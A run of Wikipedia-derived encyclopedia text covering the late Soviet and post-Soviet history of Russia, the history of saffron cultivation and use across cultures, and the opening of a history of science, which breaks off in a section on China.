          As the Soviet Union continued to maintain tight control over its sphere of influence in Eastern Europe, the Cold War gave way to Dtente and a more complicated pattern of international relations in the 1970s in which the world was no longer clearly split into two clearly opposed blocs. Less powerful countries had more room to assert their independence, and the two superpowers were partially able to recognize their common interest in trying to check the further spread and proliferation of nuclear weapons in treaties such as SALT I, SALT II, and the Anti-Ballistic Missile Treaty.


          U.S.-Soviet relations deteriorated following the beginning of the nine-year Soviet War in Afghanistan in 1979 and the 1980 election of Ronald Reagan, a staunch anti-communist, but improved as the Soviet bloc started to unravel in the late 1980s. With the collapse of the Soviet Union in 1991, Russia lost the superpower status that it had won in the Second World War.


          


          The Khrushchev and Brezhnev years


          In the power struggle that erupted after Stalin's death in 1953, his closest followers lost out. Nikita Khrushchev solidified his position in a speech before the Twentieth Congress of the Communist Party in 1956 detailing Stalin's atrocities. After a brief period of collective leadership, a veteran bureaucrat, Leonid Brezhnev, took Khrushchev's place. Brezhnev followed Stalin's emphasis on heavy industry, and also attempted to ease relationships with the United States. However, his latter mentioned emphasis led to post-mortem criticism due to the falling standard of living that resulted.


          On October 4, 1957 Soviet Union launched the first space satellite Sputnik. On April 12, 1961 Yuri Gagarin became the first human to travel into space in the Soviet spaceship Vostok 1.


          In 1964 Khrushchev was ousted by the Communist Party's Central Committee, charging him with a host of errors that included Soviet setbacks such as the Cuban Missile Crisis.


          In the 1960s the USSR became a leading producer and exporter of petroleum and natural gas.


          


          Breakup of the Union


          Two developments dominated the decade that followed: the increasingly apparent crumbling of the Soviet Union's economic and political structures, and the patchwork attempts at reforms to reverse that process. After the rapid succession of former KGB Chief Yuri Andropov and Konstantin Chernenko, transitional figures with deep roots in Brezhnevite tradition, Mikhail Gorbachev announced perestroika in an attempt to modernize Soviet communism, and made significant changes in the party leadership. However, Gorbachev's social reforms led to unintended consequences. Because of his policy of glasnost, which facilitated public access to information after decades of government repression, social problems received wider public attention, undermining the Communist Party's authority. In the revolutions of 1989 the USSR lost its satellites in Eastern Europe. Glasnost allowed ethnic and nationalist disaffection to reach the surface. Many constituent republics, especially the Baltic republics, Georgian SSR and Moldavian SSR, sought greater autonomy, which Moscow was unwilling to provide. Gorbachev's attempts at economic reform were not sufficient, and the Soviet government left intact most of the fundamental elements of communist economy. Suffering from low pricing of petroleum and natural gas, ongoing war in Afghanistan, outdated industry and pervasive corruption, the Soviet planned economy proved to be ineffective, and by 1990 the Soviet government had lost control over economic conditions. Due to price control, there were shortages of almost all products, reaching their peak in the end of 1991, when people had to stand in long lines and to be lucky enough to buy even the essentials. Control over the constituent republics was also relaxed, and they began to assert their national sovereignty over Moscow.


          The tension between Soviet Union and Russian SFSR authorities came to be personified in the bitter power struggle between Gorbachev and Boris Yeltsin. Squeezed out of Union politics by Gorbachev in 1987, Yeltsin, an old-style party boss with no dissident background or contacts, needed an alternative platform to challenge Gorbachev. He established it by representing himself as a committed democrat. In a remarkable reversal of fortunes, he gained election as chairman of the Russian republic's new Supreme Soviet in May 1990. The following month, he secured legislation giving Russian laws priority over Soviet laws and withholding two-thirds of the budget. In the first Russian presidential election in 1991 Yeltsin became president of the Russian SFSR. At last Gorbachev attempted to restructure the Soviet Union into a less centralized state. However, on August 19, 1991, a coup against Gorbachev, conspired by senior Soviet officials, was attempted. The coup faced wide popular opposition and collapsed in three days, but disintegration of the Union became imminent. The Russian government took over most of the Soviet Union government institutions on its territory. Because of the dominant position of Russians in the Soviet Union, most gave little thought to any distinction between Russia and the Soviet Union before the late 1980s. In the Soviet Union, only Russian SFSR lacked even the paltry instruments of statehood that the other republics possessed, such as its own republic-level Communist Party branch, trade union councils, Academy of Sciences, and the like. The Communist Party of the Soviet Union was banned in Russia in 1991-1992, although no lustration has ever taken place, and many of its members became top Russian officials. However, as the Soviet government was still opposed to market reforms, the economic situation continued to deteriorate. By December 1991, the shortages had resulted in the introduction of food rationing in Moscow and Saint Petersburg for the first time since World War II. Russia received humanitarian food aid from abroad. After the Belavezha Accords, the Congress of Soviets of RSFSR withdrew Russia from the Soviet Union on December 12. The Soviet Union officially ended on December 25, 1991, and the Russian Federation (formerly the Russian Soviet Federative Socialist Republic) took power on December 26. The Russian government lifted price control on January 2, 1992. Prices raised dramatically, but shortages disappeared.


          


          Russian Federation


          Although Yeltsin came to power on a wave of optimism, he never recovered his popularity after endorsing Yegor Gaidar's " shock therapy" of ending Soviet-era price controls, drastic cuts in state spending, and an open foreign trade regime in early 1992 (see Russian economic reform in the 1990s). The reforms immediately devastated the living standards of much of the population. In the 1990s Russia suffered an economic downturn more severe than the United States or Germany had undergone six decades earlier in the Great Depression.


          Meanwhile, the profusion of small parties and their aversion to coherent alliances left the legislature chaotic. During 1993, Yeltsin's rift with the parliamentary leadership led to the SeptemberOctober 1993 constitutional crisis. The crisis climaxed on October 3, when Yeltsin chose a radical solution to settle his dispute with parliament: he called up tanks to shell the Russian White House, blasting out his opponents. As Yeltsin was taking the unconstitutional step of dissolving the legislature, Russia came close to a serious civil conflict. Yeltsin was then free to impose the current Russian constitution with strong presidential powers, which was approved by referendum in December 1993. The cohesion of the Russian Federation was also threatened when the republic of Chechnya attempted to break away, leading to two bloody conflicts.


          Economic reforms also consolidated a semi-criminal oligarchy with roots in the old Soviet system. Advised by Western governments, the World Bank, and the International Monetary Fund, Russia embarked on the largest and fastest privatization that the world had ever seen in order to reform the fully nationalized Soviet economy. By mid-decade, retail, trade, services, and small industry was in private hands. Most big enterprises were acquired by their old managers, engendering a new rich ( Russian tycoons) in league with criminal mafias or Western investors.


          By the mid-1990s Russia had a system of multiparty electoral politics. But it was harder to establish a representative government because of two structural problemsthe struggle between president and parliament and the anarchic party system.


          Meanwhile, the central government had lost control of the localities, bureaucracy, and economic fiefdoms; tax revenues had collapsed. Still in deep depression by the mid-1990s, Russia's economy was hit further by the financial crash of 1998. After the 1998 financial crisis, Yeltsin was at the end of his political career. Just hours before the first day of 2000, Yeltsin made a surprise announcement of his resignation, leaving the government in the hands of the little-known Prime Minister Vladimir Putin, a former KGB official and head of the KGB's post-Soviet successor agency FSB. In 2000, the new acting president defeated his opponents in the presidential election on March 26, and won a landslide 4 years later. International observers were alarmed by late 2004 moves to further tighten the presidency's control over parliament, civil society, and regional officeholders.


          Nevertheless, reversion to a socialist command economy seemed almost impossible, meeting widespread relief in the West. Russia ended 2006 with its eighth straight year of growth, averaging 6.7% annually since the financial crisis of 1998. Although high oil prices and a relatively cheap ruble initially drove this growth, since 2003 consumer demand and, more recently, investment have played a significant role. Russia is well ahead of most other resource-rich countries in its economic development, with a long tradition of education, science, and industry.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_Russia"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        History of saffron


        
          

          
            [image: Saffron crocus flowers, represented as small red tufts, are gathered by two women in a fragmentary Minoan fresco from the excavation of Akrotiri on the Aegean island of Santorini.]

            
              Saffron crocus flowers, represented as small red tufts, are gathered by two women in a fragmentary Minoan fresco from the excavation of Akrotiri on the Aegean island of Santorini.
            

          


          The history of saffron in human cultivation and use reaches back more than 3,500 years and spans many cultures, continents, and civilizations. Saffron, a spice derived from the dried stigmas of the saffron crocus (Crocus sativus), has remained among the world's costliest substances throughout history. With its bitter taste, hay-like fragrance, and slight metallic notes, saffron has been used as a seasoning, fragrance, dye, and medicine. Saffron is native to Southwest Asia, but was first cultivated in Greece.


          The wild precursor of domesticated saffron crocus is Crocus cartwrightianus. Human cultivators bred C. cartwrightianus specimens by selecting for plants with abnormally long stigmas. Thus, sometime in late Bronze Age Crete, a mutant form of C. cartwrightianus, C. sativus, emerged. Saffron was first documented in a 7th-century BC Assyrian botanical reference compiled under Ashurbanipal. Since then, documentation of saffron's use over a span of 4,000 years in the treatment of some ninety illnesses has been uncovered. Saffron slowly spread throughout much of Eurasia, later reaching parts of North Africa, North America, and Oceania.


          


          Greco-Roman
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          Saffron played a significant role in the Greco-Roman classical period (8th century BC to the 3rd century AD). However, the first known image of saffron in Greek culture is much older and stems from the Bronze Age. A saffron harvest is shown in the Knossos palace frescoes of Minoan Crete, which depict the flowers being picked by young girls and monkeys. One of these fresco sites is located in the "Xeste 3" building at Akrotiri, on the Greek island of Santorini (known to ancient Greeks as Thera). The "Xeste 3" frescoes have been dated from 16001500 BC. Various other dates have been given, such as 30001100 BC and the 17th century BC. They portray a Greek goddess supervising the plucking of flowers and the picking of stigmas for use in the manufacture of a therapeutic drug. A fresco from the same site also depicts a woman using saffron to treat her bleeding foot. These Theran frescoes are the first botanically accurate pictorial representations of saffron's use as an herbal remedy. The saffron-growing Minoan settlement of Akrotiri on Santorini was ultimately destroyed by a powerful earthquake and subsequent volcanic eruption between 1645 and 1500 BC. The volcanic ash from the destruction entombed and helped preserve the saffron frescoes.


          Ancient Greek legends tell of brazen sailors embarking on long and perilous voyages to the remote land of Cilicia, where they traveled to procure what they believed was the world's most valuable saffron. The best-known Greek legend about saffron is the story detailing the tragedy of Crocus and Smilax: The handsome youth Crocus sets out in pursuit of the nymph Smilax in the woods near Athens. During a brief period of idyllic love Smilax is flattered by his amorous advances, but soon is bored by Crocus' attentions. After he continues to pursue her against her wishes, she resorts to bewitching him, transforming Crocus into a saffron crocus flower, with its radiant orange stigmas remaining as a faint symbol of his undying passion for Smilax. The tragedy and the spice would be recalled later by Ovid:


          
            [image: This inaccurate reconstruction of a Minoan fresco from Knossos, Crete depicts a man (should be a monkey) gathering the saffron crocus flower harvest.]

            
              This inaccurate reconstruction of a Minoan fresco from Knossos, Crete depicts a man (should be a monkey) gathering the saffron crocus flower harvest.
            

          


          
            	
              
                
                  	"Crocus and Smilax may be turn'd to flow'rs,

                  And the Curetes spring from bounteous show'rs

                  I pass a hundred legends stale, as these,

                  And with sweet novelty your taste to please"

                  Ovid, Metamorphoses
                

              

            

          


          For the people of the ancient Mediterranean, the saffron gathered in the Cilician coastal town of Soli was the most valued, particularly for use in perfumes and ointments. However, such figures as Herodotus and Pliny the Elder rated rival Assyrian and Babylonian saffron from the Fertile Crescent as best for use in treatments against gastrointestinal and renal ailments. Greek saffron production from the Corycian Cave of Mount Parnassus also became noteworthy. The colour of the Corycian crocus is used as a comparison in the Argonautica of Apollonius Rhodius, and its fragrance in the Epigrams of Martial.
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          In late Ptolemaic Egypt, Cleopatra used a quarter-cup of saffron in her warm baths because of its colouring and cosmetic properties. She also used it before encounters with men, believing that saffron would give lovemaking more pleasure. Egyptian healers used saffron as a treatment for all varieties of gastrointestinal ailments. For instance, when stomach pains progressed to internal hemorrhaging, an Egyptian treatment consisted of saffron crocus seeds mixed and crushed together with aager-tree remnants, ox fat, coriander, and myrrh. This ointment or poultice was applied to the body. The physicians expected it to "[expel] blood through the mouth or rectum which resembles hog's blood when it is cooked." Urinary tract conditions were also treated with an oil-based emulsion of premature saffron flowers mixed with roasted beans; this was used topically on men. Women ingested a more complex preparation.


          In Greco-Roman times saffron was widely traded across the Mediterranean by the Phoenicians. Their customers ranged from perfumers in Rosetta, Egypt to physicians in Gaza to townsfolk in Rhodes, who wore pouches of saffron in order to mask the presence of malodorous fellow citizens during outings to the theatre. For the Greeks, saffron was widely associated with professional courtesans and retainers known as the hetaerae. In addition, large dye works operating in Sidon and Tyre used saffron baths as a substitute. There, royal robes were triple-dipped in deep purple dyes; for the robes of royal pretenders and commoners, the last two dips were replaced with a saffron dip, which gave a less intense purple hue.


          The ancient Greeks and Romans also prized saffron for its use as a perfume and deodoriser. They scattered it about public spaces such as royal halls, courts, and amphitheatres. When Emperor Nero entered Rome they spread saffron along the streets, and wealthy Romans made daily use of saffron baths. They also used saffron as mascara, stirred saffron threads into their wines, strewn it in halls and streets as a potpourri, and offered it to their deities. Roman colonists took saffron with them when they settled in southern Gaul, where it was extensively cultivated until the AD 271 barbarian invasion of Italy. Competing theories state that saffron only returned to France with 8th-century Moors or with the Avignon Papacy in the 14th century.


          


          Middle Eastern
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          Saffron-based pigments have been found in the prehistoric paints used to illustrate beasts in 50,000 year-old cave art found in today's Iraq. Later, the Sumerians used saffron as an ingredient in their remedies and magical potions. Sumerians did not cultivate saffron. They gathered their stores from wild flowers, believing that divine intervention alone enables saffron's medicinal properties. Such evidence provides evidence that saffron was an article of long-distance trade before Crete's Minoan palace culture reached a peak in the 2nd millennium BC. Saffron was also honoured as a sweet-smelling spice over three millennia ago in the Hebrew Tanakh:


          
            	
              
                
                  	"Your lips drop sweetness like honeycomb, my bride, syrup and milk are under your tongue, and your dress had the scent of Lebanon. Your cheeks are an orchard of pomegranates, an orchard full of rare fruits, spikenard and saffron, sweet cane and cinnamon."

                   Song of Solomon
                

              

            

          


          In ancient Persia, saffron (Crocus sativus 'Hausknechtii') was cultivated at Derbena and Isfahan in the 10th century BC. There, Persian saffron threads have been found interwoven into ancient Persian royal carpets and funeral shrouds. Saffron was used by ancient Persian worshipers as a ritual offering to their deities, and as a brilliant yellow dye, perfume, and a medicine. Thus, saffron threads would be scattered across beds and mixed into hot teas as a curative for bouts of melancholy. Indeed, Persian saffron threads, used to spice foods and teas, were widely suspected by foreigners of being a drugging agent and an aphrodisiac. These fears grew to forewarn travelers to abstain from eating saffron-laced Persian cuisine. In addition, Persian saffron was dissolved in water with sandalwood to use as a body wash after heavy work and perspiration under the hot Persian sun. Later, Persian saffron was heavily used by Alexander the Great and his forces during their Asian campaigns. They mixed saffron into teas and dined on saffron rice. Alexander personally used saffron sprinkled in warm bath water. He believed it would heal his many wounds, and his faith in saffron grew with each treatment. He even recommended saffron baths for the ordinary men under him. The Greek soldiers, taken with saffron's perceived curative properties, continued the practice after they returned to Macedonia. Saffron cultivation also reached what is now Turkey, with harvesting concentrated around the northern town of Safranbolu; the area still known for its annual saffron harvest festivals.


          


          Indian and Chinese


          Various conflicting accounts exist that describe saffron's first arrival in South and East Asia. The first of these rely on historical accounts gleaned from Persian records. These suggest to many experts that saffron, among other spices, was first spread to India via Persian rulers' efforts to stock their newly built gardens and parks. They accomplished this by transplanting the desired cultivars across the Persian empire. Another variant of this theory states that, after ancient Persia conquered Kashmir, Persian saffron crocus corms were transplanted to Kashmiri soil. The first harvest then occurred sometime prior to 500 BC. Phoenicians then began in the 6th century BC to market the new Kashmiri saffron by utilising their extensive trade routes. Once sold, Kashmiri saffron was used in the treatment of melancholy and as a fabric dye.
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          On the other hand, traditional Kashmiri legend states that saffron first arrived sometime during the 11th and 12th centuries AD, when two foreign and itinerant Sufi ascetics, Khwaja Masood Wali and Hazrat Sheikh Shariffudin, wandered into Kashmir. The foreigners, having fallen sick, beseeched a cure for illness from a local tribal chieftain. When the chieftain obliged, the two holy men reputedly gave them a saffron crocus bulb as payment and thanks. To this day, grateful prayers are offered to the two saints during the saffron harvesting season in late autumn. The saints, indeed, have a golden-domed shrine and tomb dedicated to them in the saffron-trading village of Pampore, India. However, the Kashmiri poet and scholar Mohammed Yusuf Teng disputes this. He states that Kashmiris had cultivated saffron for more than two millennia. Indeed, such ancient indigenous cultivation is alluded to in Kashmiri Tantric Hindu epics of that time.


          Ancient Chinese Buddhist accounts from the Mula- sarvastivadin monastic order (or vinaya) present yet another account of saffron's arrival in India. According to legend, an arhat Indian Buddhist missionary by the name of Madhyntika (or Majjhantika) was sent to Kashmir in the 5th century BC. When he got there, he reportedly sowed Kashmir's first saffron crop. From there, saffron use spread throughout the Indian subcontinent. In addition to use in foods, saffron stigmas were also soaked in water to yield a golden-yellow solution that was used as a fabric dye. Such was the love of the resulting fabric that, immediately after the Buddha Siddhartha Guatama's death, his attendant monks decreed saffron as the official colour for Buddhist robes and mantles.


          Some historians believe that saffron first came to China with Mongol invaders by way of Persia. Saffron is mentioned in ancient Chinese medical texts, including the vast Bencao Gangmu ("Great Herbal") pharmacopoeia (pp. 155278), a tome dating from around 1600 BC (and attributed to Emperor Shen-Ung) which documents thousands of phytochemical-based medical treatments for various disorders. Yet around the 3rd century AD, the Chinese were referring to saffron as having a Kashmiri provenance. For example, Wan Zhen, a Chinese medical expert, reported that "[t]he habitat of saffron is in Kashmir, where people grow it principally to offer it to the Buddha." Wan also reflected on how saffron was used in his time: "The [saffron crocus] flower withers after a few days, and then the saffron is obtained. It is valued for its uniform yellow colour. It can be used to aromatise wine."
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          In modern times, saffron cultivation has spread to Afghanistan because of the efforts of the European Union and the United Kingdom. Together, they promote saffron cultivation among impoverished and cash-strapped Afghan farmers as an ideal alternative to illicit and lucrative opium production. They stress Afghanistan's sunny and semi-arid climate as ideal for saffron crocus growth.


          


          Post-Classical European


          Saffron cultivation in Europe declined steeply following the fall of the Roman Empire. For several centuries thereafter, saffron cultivation was rare or non-existent throughout Europe. This was reversed when Moorish civilisation spread from North Africa to settle most of Spain as well as parts of France and southern Italy. One theory states that Moors reintroduced saffron corms to the region around Poitiers after they lost the Battle of Tours to Charles Martel in AD 732. Two centuries after their conquest of Spain, Moors planted saffron throughout the southern provinces of Andalucia, Castile, La Mancha, and Valencia.


          When the Black Death ravaged Europe between 1347 and 1350, demand for saffron and its cultivation skyrocketed. It was coveted by plague victims for its medicinal properties, but many of the European farmers capable of growing it died off. Large quantities of saffron imports thus came from non-European lands. Yet the finest saffron threads from Muslim lands were unavailable to Europeans because of hostilities beginning with the Crusades. Thus imports from places such as Rhodes supplied central and northern Europe. Saffron was one of the contested points of hostility that flared between the declining nobleman classes and increasingly wealthy merchants. For example, the fourteen-week-long "Saffron War" was ignited when an 800-pound (360 kg) shipment of saffron was hijacked and stolen by noblemen. The saffron load, which had been destined for the town of Basel, would at today's market prices be valued at more than US$500,000. That shipment was eventually returned, but the saffron trade in the 13th century remained the subject of mass theft and piracy. Indeed, pirates plying Mediterranean waters would often ignore gold stores and instead steal Venetian- and Genoan-marketed saffron bound for Europe. The ordinary people of Basel, wary of such future piracy, thus planted their own corms. After several years of large and lucrative saffron harvests, Basel grew extremely prosperous compared to other European towns. Basel attempted to protect its status by outlawing the transportation of corms outside the town's borders; guards were posted to prevent thieves from picking flowers or digging up corms. Nevertheless, after ten years the saffron crop failed, and Basel abandoned cultivation.
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          The centre of central European saffron trade then moved to Nuremberg, while the merchants of Venice continued their dominance of the Mediterranean sea trade. There, saffron varieties from Austria, Crete, France, Greece, the Ottoman Empire, Sicily, and Spain were sold. Also sold were many adulterated samples, including those soaked in honey, mixed with marigold petals, or kept in damp cellars in order to increase the saffron threads' weight. This prompted Nuremberg authorities to pass the so-called Safranschou code, which sought to regulate saffron trading. Saffron adulterators were thereafter fined, imprisoned, and executed via immolation. Soon after, England emerged as a major European saffron producer. Saffron, according to one theory, spread to the coastal regions of eastern England in the 14th century AD during the reign of Edward III. In subsequent years saffron was fleetingly cultivated throughout England. Norfolk, Suffolk and south Cambridgeshire were especially heavily planted with corms. Rowland Parker provides an account of its cultivation in the village of Foxton during the 16th and 17th centuries, "usually by people holding a small amount of land"; an acre planted in saffron could yield a crop worth 6, making it "a very profitable crop, provided that plenty of unpaid labor was available; unpaid labor was one of the basic features of farming then and for another two centuries."


          However, long-term saffron cultivation only survived in the light, well-drained, and chalk-based soils of the north Essex countryside. Indeed, the Essex town of Saffron Walden got its name as a saffron growing and trading centre. Its name was originally Cheppinge Walden and the name was changed to show the importance of the crop to the local area; and today the town's arms feature crocus blooms ( ). Yet as England emerged from the Middle Ages, rising puritanical sentiments and new conquests abroad endangered English saffron's use and cultivation. Puritanical advocates favoured more austere, simple, and un-spiced foods. Saffron was also a labor-intensive crop, which became an increasing disadvantage. Lastly, an influx of additional spices from Eastern lands due to the growing spice trade meant that the English, as well as other Europeans, had more seasonings to choose from.


          This trend was later documented by the Reverend William Herbert, who was the Dean of Manchester. He collected samples and compiled information on many aspects of the saffron crocus. He was concerned about the steady decline in saffron cultivation over the 17th century and the dawn of the Industrial Revolution. This was due to the introduction in Europe of such easily grown crops as maize and potatoes, which steadily took over lands formerly dedicated to saffron corms. In addition, the elite who traditionally comprised the bulk of the saffron market were now growing increasingly interested in such exotic and new arrivals as chocolate, coffee, tea, and vanilla. Indeed, only in the south of France, Italy, and Spain, where saffron had been deeply incorporated into the local cultures, did significant cultivation remain.


          


          North American
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          Saffron made its way to the Americas when thousands of Alsatian, German, and Swiss Anabaptists, Dunkards, and others fled religious persecution in Europe. They settled mainly in eastern Pennsylvania, in the Susquehanna River valley. These settlers, who became known as the Pennsylvania Dutch, were by 1730 widely cultivating saffron after corms were first brought to America in a trunk owned by German adherents of a Protestant sect known as the Schwenkfelder Church. Schwenkfelders, as members were known, were great lovers of saffron, and had grown it back in Germany. Soon, Pennsylvania Dutch saffron was being successfully marketed to Spanish colonists in the Caribbean, while healthy demand elsewhere ensured that its listed price on the Philadelphia commodities exchange was set equal to that of gold.


          However, the War of 1812 destroyed many of the merchant vessels that transported American saffron abroad. Pennsylvanian saffron growers were afterwards left with surplus inventory, and trade with the Caribbean markets never recovered. Nevertheless, Pennsylvania Dutch growers developed many uses for saffron in their own home cooking, including cakes, noodles, and chicken or trout dishes. Saffron cultivation survived into modern times mainly in Lancaster County, Pennsylvania.
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          Science is a body of empirical, theoretical, and practical knowledge about the natural world, produced by a global community of researchers making use of scientific methods, which emphasize the observation, experimentation and explanation of real world phenomena. Given the dual status of science as objective knowledge and as a human construct, good historiography of science draws on the historical methods of both intellectual history and social history.


          Tracing the exact origins of modern science is possible through the many important texts which have survived from the classical world. However, the word scientist is relatively recentfirst coined by William Whewell in the 19th century. Previously, people investigating nature called themselves natural philosophers.


          While empirical investigations of the natural world have been described since antiquity (for example, by Aristotle, Theophrastus and Pliny the Elder), and scientific methods have been employed since the Middle Ages (for example, by Ibn al-Haytham, Abū Rayhān al-Bīrūnī and Roger Bacon), the dawn of modern science is generally traced back to the early modern period, during what is known as the Scientific Revolution of the 16th and 17th centuries.


          Scientific methods are considered to be so fundamental to modern science that some especially philosophers of science and practicing scientists consider earlier inquiries into nature to be pre-scientific. Traditionally, historians of science have defined science sufficiently broadly to include those inquiries.


          


          Early cultures
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          In prehistoric times, advice and knowledge was passed from generation to generation in an oral tradition. The development of writing enabled knowledge to be stored and communicated across generations with much greater fidelity. Combined with the development of agriculture, which allowed for a surplus of food, it became possible for early civilizations to develop, because more time could be devoted to tasks other than survival.


          Many ancient civilizations collected astronomical information in a systematic manner through simple observation. Though they had no knowledge of the real physical structure of the planets and stars, many theoretical explanations were proposed. Basic facts about human physiology were known in some places, and alchemy was practiced in several civilizations. Considerable observation of macrobiotic flora and fauna was also performed.


          


          Science in the Fertile Crescent


          From their beginnings in Sumer (now Iraq) around 3500 BC the Mesopotamian peoples began to attempt to record some observations of the world with extremely thorough quantitative and numerical data. But their observations and measurements were seemingly taken for purposes other than for scientific laws. A concrete instance of Pythagoras' law was recorded, as early as the 18th century BC: the Mesopotamian cuneiform tablet Plimpton 322 records a number of Pythagorean triplets (3,4,5) (5,12,13). ..., dated 1900 BC, possibly millennia before Pythagoras, but an abstract formulation of the Pythagorean theorem was not.


          Significant advances in Ancient Egypt include astronomy, mathematics and medicine. Their geometry was a necessary outgrowth of surveying to preserve the layout and ownership of farmland, which was flooded annually by the Nile river. The 3,4,5 right triangle and other rules of thumb served to represent rectilinear structures, and the post and lintel architecture of Egypt. Egypt was also a centre of alchemy research for much of the Mediterranean.


          


          Science in the Greco-Roman world
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          In Classical Antiquity, the inquiry into the workings of the universe took place both in investigations aimed at such practical goals as establishing a reliable calendar or determining how to cure a variety of illnesses and in those abstract investigations known as natural philosophy. The ancient people who are considered the first scientists may have thought of themselves as natural philosophers, as practitioners of a skilled profession (for example, physicians), or as followers of a religious tradition (for example, temple healers).


          The earliest Greek philosophers, known as the pre-Socratics, provided competing answers to the question found in the myths of their neighbors: "How did the ordered cosmos in which we live come to be?" The pre-Socratic philosopher Thales, dubbed the "father of science", was the first to postulate non-supernatural explanations for natural phenomena such as lightning and earthquakes. Pythagoras of Samos founded the Pythagorean school, which investigated mathematics for its own sake, and was the first to postulate that the Earth is spherical in shape. Subsequently, Plato and Aristotle produced the first systematic discussions of natural philosophy, which did much to shape later investigations of nature. Their development of deductive reasoning was of particular importance and usefulness to later scientific inquiry.


          The important legacy of this period included substantial advances in factual knowledge, especially in anatomy, zoology, botany, mineralogy, geography, mathematics and astronomy; an awareness of the importance of certain scientific problems, especially those related to the problem of change and its causes; and a recognition of the methodological importance of applying mathematics to natural phenomena and of undertaking empirical research. In the Hellenistic age scholars frequently employed the principles developed in earlier Greek thought: the application of mathematics and deliberate empirical research, in their scientific investigations. Thus, clear unbroken lines of influence lead from ancient Greek and Hellenistic philosophers, to medieval Muslim philosophers and scientists, to the European Renaissance and Enlightenment, to the secular sciences of the modern day. Neither reason nor inquiry began with the Ancient Greeks, but the Socratic method did, along with the idea of Forms, great advances in geometry, logic, and the natural sciences. Benjamin Farrington, former Professor of Classics at Swansea University wrote:


          
            	"Men were weighing for thousands of years before Archimedes worked out the laws of equilibrium; they must have had practical and intuitional knowledge of the principles involved. What Archimedes did was to sort out the theoretical implications of this practical knowledge and present the resulting body of knowledge as a logically coherent system."

          


          and again:


          
            	"With astonishment we find ourselves on the threshold of modern science. Nor should it be supposed that by some trick of translation the extracts have been given an air of modernity. Far from it. The vocabulary of these writings and their style are the source from which our own vocabulary and style have been derived."
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          The level of achievement in Hellenistic astronomy and engineering is impressively shown by the Antikythera mechanism (150-100 BC). The astronomer Aristarchus of Samos was the first known person to propose a heliocentric model of the solar system, while the geographer Eratosthenes accurately calculated the circumference of the Earth. Hipparchus (ca. 190 ca. 120 BC) produced the first systematic star catalog. In medicine, Herophilos (335 - 280 BC) was the first to base his conclusions on dissection of the human body and to describe the nervous system. Hippocrates (ca. 460 BC ca. 370 BC) and his followers were first to describe many diseases and medical conditions. Galen (129 ca. 200 AD) performed many audacious operationsincluding brain and eye surgeries that were not tried again for almost two millennia. The mathematician Euclid laid down the foundations of mathematical rigor and introduced the concepts of definition, axiom, theorem and proof still in use today in his Elements, considered the most influential textbook ever written. Archimedes, considered one of the greatest mathematicians of all time, is credited with using the method of exhaustion to calculate the area under the arc of a parabola with the summation of an infinite series, and gave a remarkably accurate approximation of Pi. He is also known in physics for laying the foundations of hydrostatics and the explanation of the principle of the lever.
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          Theophrastus wrote some of the earliest descriptions of plants and animals, establishing the first taxonomy and looking at minerals in terms of their properties such as hardness. Pliny the Elder produced what is one of the largest encyclopedias of the natural world in 77 AD, and must be regarded as the rightful successor to Theophrastus.
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          For example, he accurately describes the octahedral shape of the diamond, and proceeds to mention that diamond dust is used by engravers to cut and polish other gems owing to its great hardness. His recognition of the importance of crystal shape is a precursor to modern crystallography, while mention of numerous other minerals presages mineralogy. He also recognises that other minerals have characteristic crystal shapes, but in one example, confuses the crystal habit with the work of lapidaries. He was also the first to recognise that amber was a fossilized resin from pine trees because he had seen samples with trapped insects within them.


          


          Science in India


          Indian philosophers in ancient India developed atomic theories, which included formulating ideas about the atom in a systematic manner and propounding ideas about the atomic constitution of the material world. The principle of relativity was also available in an early embryonic form in the Indian philosophical concept of "sapekshavad". The literal translation of this Sanskrit word is "theory of relativity" (not to be confused with Einstein's theory of relativity). The wootz, crucible and stainless steels were invented in India, and were widely exported, resulting in "Damascus steel" by the year 1000.


          
            The Hindus excel in the manufacture of iron, and in the preparations of those ingredients along with which it is fused to obtain that kind of soft iron which is usually styled Indian steel (Hindiah). They also have workshops wherein are forged the most famous sabres in the world.
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          Indian astronomer and mathematician Aryabhata (476-550), in his Aryabhatiya (499) and Aryabhata Siddhanta, worked out an accurate heliocentric model of gravitation, including elliptical orbits, the circumference of the earth, and the longitudes of planets around the Sun. He also introduced a number of trigonometric functions (including sine, versine, cosine and inverse sine), trigonometric tables, and techniques and algorithms of algebra. In the 7th century, Brahmagupta recognized gravity as a force of attraction. He also lucidly explained the use of zero as both a placeholder and a decimal digit, along with the Hindu-Arabic numeral system now used universally throughout the world. Arabic translations of the two astronomers' texts were soon available in the Islamic world, introducing what would become Arabic numerals to the Islamic World by the 9th century.


          The first 12 chapters of the Siddhanta Shiromani, written by Bhāskara in the 12th century, cover topics such as: mean longitudes of the planets; true longitudes of the planets; the three problems of diurnal rotation; syzygies; lunar eclipses; solar eclipses; latitudes of the planets; risings and settings; the moon's crescent; conjunctions of the planets with each other; conjunctions of the planets with the fixed stars; and the patas of the sun and moon. The 13 chapters of the second part cover the nature of the sphere, as well as significant astronomical and trigometric calculations based on it.


          During the 14th-16th centuries, the Kerala school of astronomy and mathematics made significant advances in astronomy and especially mathematics, including fields such as trigonometry and calculus. In particular, Madhava of Sangamagrama is considered the "founder of mathematical analysis".


          


          Science in China
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          China has a long and rich history of technological contribution. The Four Great Inventions of ancient China' (Chinese: 四大發明; Pinyin: S d fā mng) are the compass, gunpowder, papermaking, and printing. These four discoveries had an enormous impact on the development of Chinese civilization and a far-ranging global impact. According to English philosopher Francis Bacon, writing in Novum Organum,


          
            Printing, gunpowder and the compass: These three have changed the whole face and state of things throughout the world; the first in literature, the second in warfare, the third in navigation; whence have followed innumerable changes, in so much that no empire, no sect, no star seems to have exerted greater power and influence in human affairs than these mechanical discoveries."

          


